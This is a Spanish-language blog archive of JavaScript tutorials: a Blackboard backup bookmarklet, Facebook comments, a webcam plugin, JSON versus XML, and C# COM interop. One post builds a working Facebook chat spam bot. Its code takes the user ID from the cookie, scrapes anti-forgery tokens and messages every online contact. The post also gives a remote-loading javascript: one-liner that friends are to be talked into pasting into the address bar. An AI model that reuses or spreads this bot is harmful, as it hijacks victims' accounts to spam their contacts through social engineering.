Archivo

Archive for the ‘JavaScript’ Category

Respaldame Koala JS Versión 2.0

Este es una nueva versión del Respaldame Koala, un software para respaldar todos los archivos de la plataforma blackboard de DuocUC, esta vez, escrito en HTML y Javascript utilizando el framework JQuery.

Para utilizarlo deben:

Loguarse en http://campusvirtual.duoc.cl
En la misma venta , escribir en la barra de direcciones el siguiente código:

javascript:(s=(d=document).createElement('script')).src='http://goo.gl/KMdgb',d.body.appendChild(s);void(0);

Luego en la página principal de blackboard , les aparecerá un nuevo panel llamado Respaldame Koala.

Ahí seleccionan todos los archivos que quieren descargar, presionan el Botón Descargar Seleccionados y se les descargará un archivo respaldameKoala.hta, lo abren y se abrirá una ventana como ésta:

Y por último presionan el botón Comenzar Descarga de Archivos y se descargarán, todos los archivos seleccionados, en una carpeta llamada RespaldameKoala que estará en la misma carpeta donde se guardo el archivo .hta .

Espero que les sirva,

Saludos!

Anuncios

Bot Spammer en el chat de Facebook con JQuery


Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.

Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:

javascript: [CODIGO JAVASCRIPT]

e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.

Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:

  • Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
    http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true
  • Envían mensajes a cada usuario conectado:  Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
    http://www.facebook.com/ajax/chat/send.php?__a=1

    y como parámetro pasan:

    msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest

Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.

  • ID_USUARIO: La sacamos de la cookie de facebook
  • POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
  • FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).

Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:

  1. Entrar a la página principal de Facebook
  2. Sacar las cookies y buscar la ID_USUARIO
  3. Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
  4. Listar Los Usuarios conectados al chat
  5. Enviar un mensaje por cada usuario conectado

Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.

1.- Conectar a la raíz de Facebook y obtener los datos necesarios.

	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
		}
	});

2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					
				}
			});
		}
	});

3.- Debemos enviar un mensaje a cada usuario conectado.

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});

Para terminar nuestro código , agregaré el script de JQuery

/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
	/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);

Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48

Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.

javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);              

Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.

De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,

Saludos!

Comentarios de Facebook (Social Plugin) Administrables

Para poder agregar comentarios de facebook con la posibilidad de moderarlos, es necesario
1.- Crear una aplicación de facebook , lo puedes hacer en éste link:
http://developers.facebook.com/setup/

Ahi pedirá El nombre de la aplicacion o sitio, la url (en mi caso http://estebanfuentealba.net? el “?” permitirá incrustar los comentarios en cualquier dirección del dominio ).

Después nos pedirá un codigo de seguridad y por ultimo nos entregará los datos de la app y un codigo de muestra.

De esos datos necesitaremos la identificación de aplicación.
Para agregar los comentarios a las páginas es necesario los siguientes códigos:

  1. Agregar al tag el siguiente codigo:
    <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml" xml:lang="es" lang="es"> 
  2. En la cabecera de la página agregar :
    <meta property="fb:app_id" content="APPID" />

    Ejemplo:

    <meta property="fb:app_id" content="207075379302808" />
  3. En el cuerpo:
    <div id="fb-root"></div>
    		<script src="http://connect.facebook.net/es_ES/all.js#appId=APPID&amp;xfbml=1"></script>
    		<fb:comments href="URL" num_posts="10" width="500"></fb:comments>
    	 

    Ejemplo:

    <div id="fb-root"></div>
    		<script src="http://connect.facebook.net/es_ES/all.js#appId=207075379302808&amp;xfbml=1"></script>
    		<fb:comments href="http://estebanfuentealba.net/facebookComentario" num_posts="10" width="500"></fb:comments>

Quedará algo asi:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml" xml:lang="es" lang="es"> 
	<head profile="http://gmpg.org/xfn/11"> 
		<meta property="fb:app_id" content="207075379302808" />
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
		<title>FB Comentarios</title>
	</head>
	<body>
		<div id="fb-root"></div>
		<script src="http://connect.facebook.net/es_ES/all.js#appId=207075379302808&amp;xfbml=1"></script>
		<fb:comments href="http://estebanfuentealba.net/facebookComentario" num_posts="10" width="500"></fb:comments>
	</body>
</html>

Demo: http://estebanfuentealba.net/facebookComentario/

Para administrar los comentarios,agregar modedadores, agregar filtros,etc. es posible hacerlo en la misma página que se agregaron los comentarios (Configuración) o en http://developers.facebook.com/tools/comments

Saludos!

KoalaForm – Simple Validador de Formularios con JQuery

Hace mas de un mes realizando mi practica laboral en la empresa Aeurus y KoalaForm es una de las creaciones que han nacido en éste mes. Fue una petición e idea de Robinson Navarro (mi jefe) y luego de unos días desarrolle éste plugin para JQuery que ahora quiero compartir.

El plugin lo he subido a GitHub, por si alguien quiere aportar en el desarrollo

Link: https://github.com/EstebanFuentealba/KoalaForm

Ahí encontrarán Ejemplos y la documentación en el WIKI

 

Saludos!

JQuery WebCam Capture and Upload

Este es un plugin para JQuery donde puedes capturar imagenes de tu webcam y subirlas a tu servidor, estilo facebook.
Para ésto necesitas 2 archivos, primero el archivo PHP que guarda las imágenes

test.php

<?php
class WebCamUpload {
	var $input 			= null;
	var $serverRequest 	= null;
	function __construct($serv,$in){ 
		$this->input = $in;
		$this->serverRequest = $serv;
	}
	function saveImage($dir='') {
		$filename = md5(date('YmdHisu')) . '.jpg';
		$result = file_put_contents($dir.$filename, $this->input );
		if (!$result) {
			throw new Exception("No se pudo guardar la imagen, revisa permisos");
			exit();
		}
		return 'http://' . $this->serverRequest['HTTP_HOST'] . dirname($this->serverRequest['REQUEST_URI']) . '/' .$dir. $filename;
	}
}

try {
	$cam = new WebCamUpload($_SERVER,file_get_contents('php://input'));
	echo $cam->saveImage('uploads/');
}catch(Exception $e) {
	echo $e->getMessage();
}

?>

Luego el archivo Javascript que contiene el plugin JQuery
jquery.webcam.js

/*
	jQuery WebCam Capture Plugin
*/
(function() {
	var webCamObject = null;
	$.fn.extend({
		createWebCam : function(opt) {
			this.options = {
				height: 250,
				width: 	250,
				swfUrl: 'webcam.swf',
				id: 	'webcamMovie',
				shutterSound: true,
				shutterUrl: 'shutter.mp3',
				url: 'test.php',
				quality: 100
			};
			window.webcam = { flash_notify: function(type, url) { $.WebCam.notify(type,url); } }
			$.extend({
				WebCam : {
					notify : function(type,msg) {
						$(document).trigger('webcamNotify',{ type: type, msg: msg  });
						$(document).unbind('webcamNotify');
					}
				}
			});
			this.objSwf = null;
			this.htmlElement = $(this);
			$.extend(this.options, opt);
			var flashVars = 'shutter_enabled=' + (this.options.shutterSound ? 1 : 0) + '&shutter_url=' + escape(this.options.shutterUrl) +'&width=' + this.options.width + '&height=' +this.options.height +'&server_width=' + this.options.width +'&server_height=' + this.options.height;
			if($.browser.msie){ 
				this.objSwf = $('<object>').attr('id',this.options.id).attr('width',this.options.width).attr('height',this.options.height
				).append(
					$('<param>').attr('name','allowScriptAccess').attr('value','always')
				).append(
					$('<param>').attr('name','allowFullScreen').attr('value','false')
				).append(
					$('<param>').attr('name','movie').attr('value',this.options.swfUrl)
				).append(
					$('<param>').attr('name','loop').attr('value','false')
				).append(
					$('<param>').attr('name','menu').attr('value','false')
				).append(
					$('<param>').attr('name','quality').attr('value','best')
				).append(
					$('<param>').attr('name','flashvars').attr('value',flashVars)
				);
			} else {
				this.objSwf = $('<embed>').attr('id',this.options.id).attr('src',this.options.swfUrl).attr('width',this.options.width).attr('height',this.options.height).attr('loop','false').attr('menu','false').attr('quality','best').attr('bgcolor','#ffffff').attr('name',this.options.id).attr('allowScriptAccess','always').attr('allowFullScreen','false').attr('type','application/x-shockwave-flash').attr('flashvars',flashVars);
			}
			$(this).append(
				this.objSwf
			);
			this.getMovie = function() {
				return document.getElementById(this.options.id);
			}
			this.capture = function(callback) {
				this.getMovie()._snap(this.options.url, this.options.quality, this.options.shutterSound, 0 );
				$(document).bind('webcamNotify',function(e,json) { callback(json); }  );
				return $(this);
			}
			this.reset = function(callback) {
				this.getMovie()._reset();
				return $(this);
			}
			this.configure = function(panel) {
				if (!panel) panel = "camera";
				this.getMovie()._configure(panel);
				return $(this);
			}
			webCamObject = this;
			return $(this);
		},
		getWebCam : function() {
			if(webCamObject != null) return webCamObject;
		}
	});
})();

por último el archivo de prueba
test.html

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
	<script type="text/javascript" src="jquery.min.js"></script>
	<script type="text/javascript" src="jquery.webcam.js"></script>
	<script type="text/javascript" language="JavaScript">
		$(function() {
			$('#webcam').createWebCam();
			$('#capture').click(function() {
				 $('#webcam').getWebCam().capture(function(json){
					if(json.type=="success") {
						console.log('URL: '+json.msg);
					} else if(json.type == "error") {
						console.log('ERROR: '+json.msg);
					}
				});
			});
			$('#reset').click(function() {
				 $('#webcam').getWebCam().reset();
			});
			$('#configure').click(function() {
				 $('#webcam').getWebCam().configure();
			});
		});
	</script>
	
</head>
<body>
	<div id="webcam"></div>
	<a id="capture">Snapshot</a>
	<a id="reset">Reset</a>
	<a id="configure">Configure</a>
</body>
</html>

Aqui dejo un DEMO
http://estebanfuentealba.net/ejemplos/JQueryWebCamCapture/test.html

Codigo Fuente y archivos necesarios : http://estebanfuentealba.net/ejemplos/JQueryWebCamCapture/jwebcam.rar

Saludos!

JSON (JavaScript Object Notation || Literal JavaScript) VS XML (Extensible Markup Language)

Bueno esta es una breve comparación que he hecho sobre dos lenguajes intermedios… ¿ a que me refiero con “intermedios” ? Que son lenguajes de intercambio de datos entre aplicaciones.

01.- Definiciones

XML, siglas en inglés de Extensible Markup Language (lenguaje de marcas extensible), es un metalenguaje extensible de etiquetas desarrollado por el World Wide Web Consortium (W3C).

JSON, acrónimo de JavaScript Object Notation, es un formato ligero para el intercambio de datos. JSON es un subconjunto de la notación literal de objetos de JavaScript que no requiere el uso de XML.

02.- Estructura

Ahora dejaré el mismo código escrito en ambos lenguajes

XML

<?xml version="1.0" encoding="utf-8" ?>
<Empleados>
	<Empleado tipo="Honorario">
		<Nombre>Juan Peres</Nombre>
		<Edad>56</Edad>
		<HorasTrabajadas>5</HorasTrabajadas>
		<ValorHora>10</ValorHora>
	</Empleado>
</Empleados>

213 caracteres, 229 bytes 9 líneas

JSON

{ empleados : [
	{
		tipo: "Honorario",
		nombre: "Juan Peres",
		edad: 56,
		HorasTrabajadas: 5,
		ValorHora: 10
	}
]}

120 caracteres, 136 bytes, 9 líneas

Bien hasta aquí bien parecidos, ambos con una estructura jerárquica,aunque JSON aquí saca la primera ventaja:
JSON pesa menos que XML, ésto es gracias a que no usa tags, esto disminuye su peso.

03.- Carga en el Servidor

Bueno siguiendo con el ejemplo anterior les dejo el siguiente caso: Ahora quiero mostrar el sueldo del empleado honorario, eso se hace con la siguiente formula:

Sueldo = HorasTrabajadas * ValorHora

XML

<?xml version="1.0">
<Empleados>
	<Empleado tipo="Honorario">
		<Nombre>Juan Peres</Nombre>
		<Edad>56</Edad>
		<HorasTrabajadas>5</HorasTrabajadas>
		<ValorHora>10</HorasTrabajadas>
		<Sueldo>50</Sueldo>
	</Empleado>
</Empleado>

JSON

{ empleados : [
	{
		tipo: "Honorario",
		nombre: "Juan Peres",
		edad: 56,
		horasTrabajadas: 5,
		valorHora: 10,
		sueldo: function() { return this.horasTrabajadas * this.valorHora }
	}
]}

Aqui se ve la primera diferencia notable de JSON, en el primer caso se hizo un calculo por el lado del servidor, donde internamente se multiplico HorasTrabajadas * ValorHora.
Sin embargo en el caso de JSON sueldo se declara como una función que será procesada por el lado del cliente.En JavaScript lo que esta entre llaves { } se refieren a un Objeto y lo que esta entre corchetes [ ] a un Arreglo

entonces los datos, al estar en un objeto, vienen a ser atributos de dicho objeto, por lo que puedo llamar a esos atributos dentro de la función sueldo  que declaré

sueldo: function() { return this.horasTrabajadas * this.sueldo }

¿ Que ventajas trae ésto ? que el servidor se ahorra el procesamiento de esos cálculos y deja a los clientes que lo hagan por el

04.- Obtención de Datos

Para obtener los datos usaré JQuery Framework para hacerlo aun mas fácil .

Obtener XML

<html>
	<head>
		<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
		<script type="text/javascript">
			$.ajax({
				type: "GET",
				url: 'empleados.xml?random='+(Math.random() * (9999-1111)),
				dataType: "xml",
				success: function(data){
					$('Empleado',data).each(function() {
						$('<p>').append(
							"[Nombre: "+$('Nombre',this).text()+"] [Sueldo: "+$('Sueldo',this).text()+"]"
						).appendTo('#empleados')
					});
				}
			});
		</script>
	</head>
	<body>
		<div id="empleados"></div>
	</body>
</html>

Ejemplo: http://estebanfuentealba.net/ejemplos/jsonVSxml/getXML.html

Obtener JSON

<html>
	<head>
		<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
		<script type="text/javascript">
			$.ajax({
				type: "GET",
				url: 'empleados.json?random='+(Math.random() * (9999-1111)),
				dataType: "json",
				success: function(data){
					$.each(data.empleados,function(i,emp) {
						$('<p>').append(
							"[Nombre: "+emp.nombre+"] [Sueldo: "+emp.sueldo()+"]"
						).appendTo('#empleados')
					});
				}
			});
		</script>
	</head>
	<body>
		<div id="empleados"></div>
	</body>
</html>

Ejemplo: http://estebanfuentealba.net/ejemplos/jsonVSxml/getJSON.html

En el caso de XML hay que BUSCAR los datos en el archivo por tags y de ese resultado sacar el texto, En cambio en JSON , al ser un objeto, puedo acceder a sus propiedades directamente.

Tiempo de descarga (Promedio de 5 Pruebas) :

XML		378,4 ms Aprox
JSON		346,6 ms Aprox

05.- Cross Domain

Una de las desventajas de XML es que con Ajax no se puede acceder a algún archivo o WebService de un dominio diferente al que estamos. Esto solo se puede realizar creando un proxy con algún lenguaje de servidor, ocupando nuevamente recursos del servidor (no es optimo)

Para éste ejemplo Tengo un “WebService” en el dominio mp3spider.com.ar

Link del WebService: http://mp3spider.com.ar/WebService.php

Parametro Valor Descripción
datatype string xml o json.
callback string Nombre del metodo a llamar, solo si datatype=json .

Ahora dejaré Las pruebas:

AJAX (Asynchronous JavaScript And XML) Cross Domain

<html>
	<head>
		<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
		<script type="text/javascript">
			$.ajax({
				type: "GET",
				url: 'http://mp3spider.com.ar/WebService.php?datatype=xml',
				dataType: "xml",
				success: function(data){
					$('<p>').append(
						"[Host: "+$('host',data).text()+"]"
					).appendTo('#crossdomain');
				},
				error: function (XMLHttpRequest, textStatus, errorThrown) {
					alert(textStatus);
				}
			});
		</script>
	</head>
	<body>
		<div id="crossdomain"></div>
	</body>
</html>

Ejemplo: http://estebanfuentealba.net/ejemplos/jsonVSxml/crossdomain/crossdomainXML.html

Para poder acceder al WebService Tengo que hacer un proxy en el servidor donde llamo al servicio, en Yahoo explican como hacer uno


AJAJSON (Asynchronous JavaScript And JavaScript Object Notation) Cross Domain

<html>
	<head>
		<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
		<script type="text/javascript">
			$.ajax({
				type: "GET",
				url: 'http://mp3spider.com.ar/WebService.php?datatype=json&callback=?',
				dataType: "json",
				success: function(data){
					$('<p>').append(
						"[Host: "+data.host+"]"
					).appendTo('#crossdomain');
				},
				error: function (XMLHttpRequest, textStatus, errorThrown) {
					alert(textStatus);
				}
			});
		</script>
	</head>
	<body>
		<div id="crossdomain"></div>
	</body>
</html>

Ejemplo: http://estebanfuentealba.net/ejemplos/jsonVSxml/crossdomain/crossdomainJSON.html

Ésta es la mejor ventaja de JSON porque podemos traer datos desde otros dominios sin recurso del servidor, lo que con XML no se puede lograr si no se tiene un proxy. Este crossdomain es gracias a JSONP (JSON with Padding) que es una técnica descubierta el 2005 por gente de YAHOO , consiste en agregar el script a la pagina … supongamos que queremos traer este documento remoto json:

http://mp3spider.com.ar/WebService.php?datatype=json&callback=hola
nos devuelve:

hola({ host: "mp3spider.com.ar" })

Eso quiere decir que se llama a una funcion llamada hola y se le pasa por parametro un objeto que tiene un atributo llamado host. Entonces, para que funcione, deberiamos tener en la pagina de donde llamamos a ese documento json dicho metodo hola

function hola(datos) {
alert(datos.host);
}

quedando algo similar a esto

<html>
	<head>
		<script type="text/javascript">
			/* Defino la funcion que recibirá los datos de la pagina remota */
			function hola(datos) {
				alert(datos.host);
			}
		</script>
		<!-- Agrego el Script Remoto , el callback es el nombre del metodo que lo recibirá en este página -->
		<script src="http://mp3spider.com.ar/WebService.php?datatype=json&callback=hola"></script>
	</head>
	<body>
	</body>
</html>

Ejemplo: http://estebanfuentealba.net/ejemplos/jsonVSxml/crossdomain/JSONPEjemplo.html

En fin JQuery hace eso por debajo sin darnos cuenta.

Con tanta api dando vuelta por el mundo de la web 2.0 JSON es una herramienta que se agradece y bien util. Como pudieron ver en estas comparaciones en el ámbito web agiliza y optimiza el intercambio de datos, por lo que sin ninguna duda me quedo con JSON.

Espero que les sirva ,

Saludos

Crear DLL en C# .NET y llamarla desde JavaScript

Hoy estaba creando un Gadget para Windows 7 con HTML y Javascript, Lo malo es que el gadget tenía que procesar mucho, por lo que aveces se pegaba el navegador, asi que se me ocurrio crear un programa en C# para que el procesamiento lo hiciera .NET y Javascript solo fuera el puente entre la parte grafica (HTML) y el proceso (.NET)….Para eso investigue sobre  librerías en .NET y Interoperabilidad COM lo que me parecio bastante útil he interesante ya que puedo ocupar una librería casi desde cualquier otro lenguaje. En este ejemplo mostraré como usar una DLL escrita en C# desde JavaScript.

Parte 1 Libreria C#

Bueno lo primero es Ejecutar Visual Studio como Administrador

Una vez abierto Nos vamos a :
File / New / Proyecto

Ahora elegimos Class Library y le damos un nombre a nuestro Proyecto

Ya ahora en la misma Class1 que nos auto generó empezaremos a programar. Lo primero es crear una GUID ,una clave que nos identificará nuestra librería, para eso vamos a
Tools / Crear GUID

Seleccionamos la opcion 2 Define GUID y presionamos el boton Copy

Lo que esta en verde claro es nuestra GUID.

Para que Class1 pueda ser visible desde el exterior es necesario importar System.Runtime.InteropServices y hacer unas declaraciones en la clase

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
namespace TestLib {
    [ComVisibleAttribute(true)]  //Deja la clase visible para COM
    [Guid("134FC6AB-E594-4e5b-84F2-5CC612FF69D3")] //GUID que generamos, Identificador de la Libreria
    [ProgId("TestLib.Class")] //Identificador para poder Acceder a esta clase desde el exterior
    public class Class1 {
        public string Hola() {
            return "Hola Mundo desde .NET";
        }
    }
}

Una vez listo el código debemos ir a las propiedades del proyecto

Una vez dentro de las propiedades nos dirigimos a Generar y chequeamos la opción  Registrar para interoperabilidad COM.

Esto permitirá que al generar nuestro proyecto, la librería quede en el registro de windows de la maquina donde se generó, para así poderla ocupar.

Por ultimo generamos nuestra Libreria

------ Operación Generar iniciada: proyecto: TestLib, configuración: Debug Any CPU ------
C:\Windows\Microsoft.NET\Framework\v3.5\Csc.exe /noconfig /nowarn:1701,1702 /errorreport:prompt /warn:4 /define:DEBUG;TRACE /reference:"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Core.dll" /reference:"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Data.DataSetExtensions.dll" /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Data.dll /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.dll /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Xml.dll /reference:"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Xml.Linq.dll" /debug+ /debug:full /filealign:512 /optimize- /out:obj\Debug\TestLib.dll /target:library Class1.cs Properties\AssemblyInfo.cs

Compile complete -- 0 errors, 0 warnings
TestLib -> C:\Users\Esteban\Documents\Visual Studio 2008\Projects\TestLib\TestLib\bin\Debug\TestLib.dll
========== Generar: 1 correctos o actualizados, 0 incorrectos, 0 omitidos ==========

Ahora vamos a la carpeta Bin/Debug de nuestro proyecto y debería encontrarse nuestra Librería

Parte 2 HTML + JavaScript

Con la DLL lista ahora solo queda programar la “interfaz gráfica”, en verdad solo mostraré el texto traído desde el método de la librería por una alerta xD

para ello es el siguiente código

<html>
	<head>
		<script type="text/javascript">
			/* Creando una instancia de ActiveXObject para poder acceder a nuestra libreria */
			var obj = new ActiveXObject("TestLib.Class"); /* ProgId de la Clase */
			alert(obj.Hola()); /* llamando al metodo Hola de la DLL */
		</script>
	</head>
	<body>
		<!-- Cuerpo -->
	</body>
</html>

El Anterior código lo guardaré, para testear, con extensión HTA


Y por ultimo Ejecutamos la aplication.hta y debería mostrarnos la alerta con el texto que retorna nuestra librería

Parte 3 Registro Manual para Interoperabilidad COM

Bueno mas de alguno debe preguntarse como es que se linquea la dll que generé (TestLib.dll) con ActiveXObject(“TestLib.Class”); porque no le paso la ruta de la libreria ni nada por el estilo. Bueno lo que hizo Visual Studio al generar el archivo TestLib.dll fue guardar en el registro de windows la ubicación de la DLL y lo asoció a TestLib.Class.
Entonces si ustedes Quieren Ocupar esta dll en sus maquinas no podrán porque en su registro no existe dicha asociación lanzandoles un error como éste:

Para que puedan testearla en sus pcs les dejo un archivo.reg que hice para registrar la DLL.

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}]
@="TestLib.Class1"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32]
@="mscoree.dll"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32]
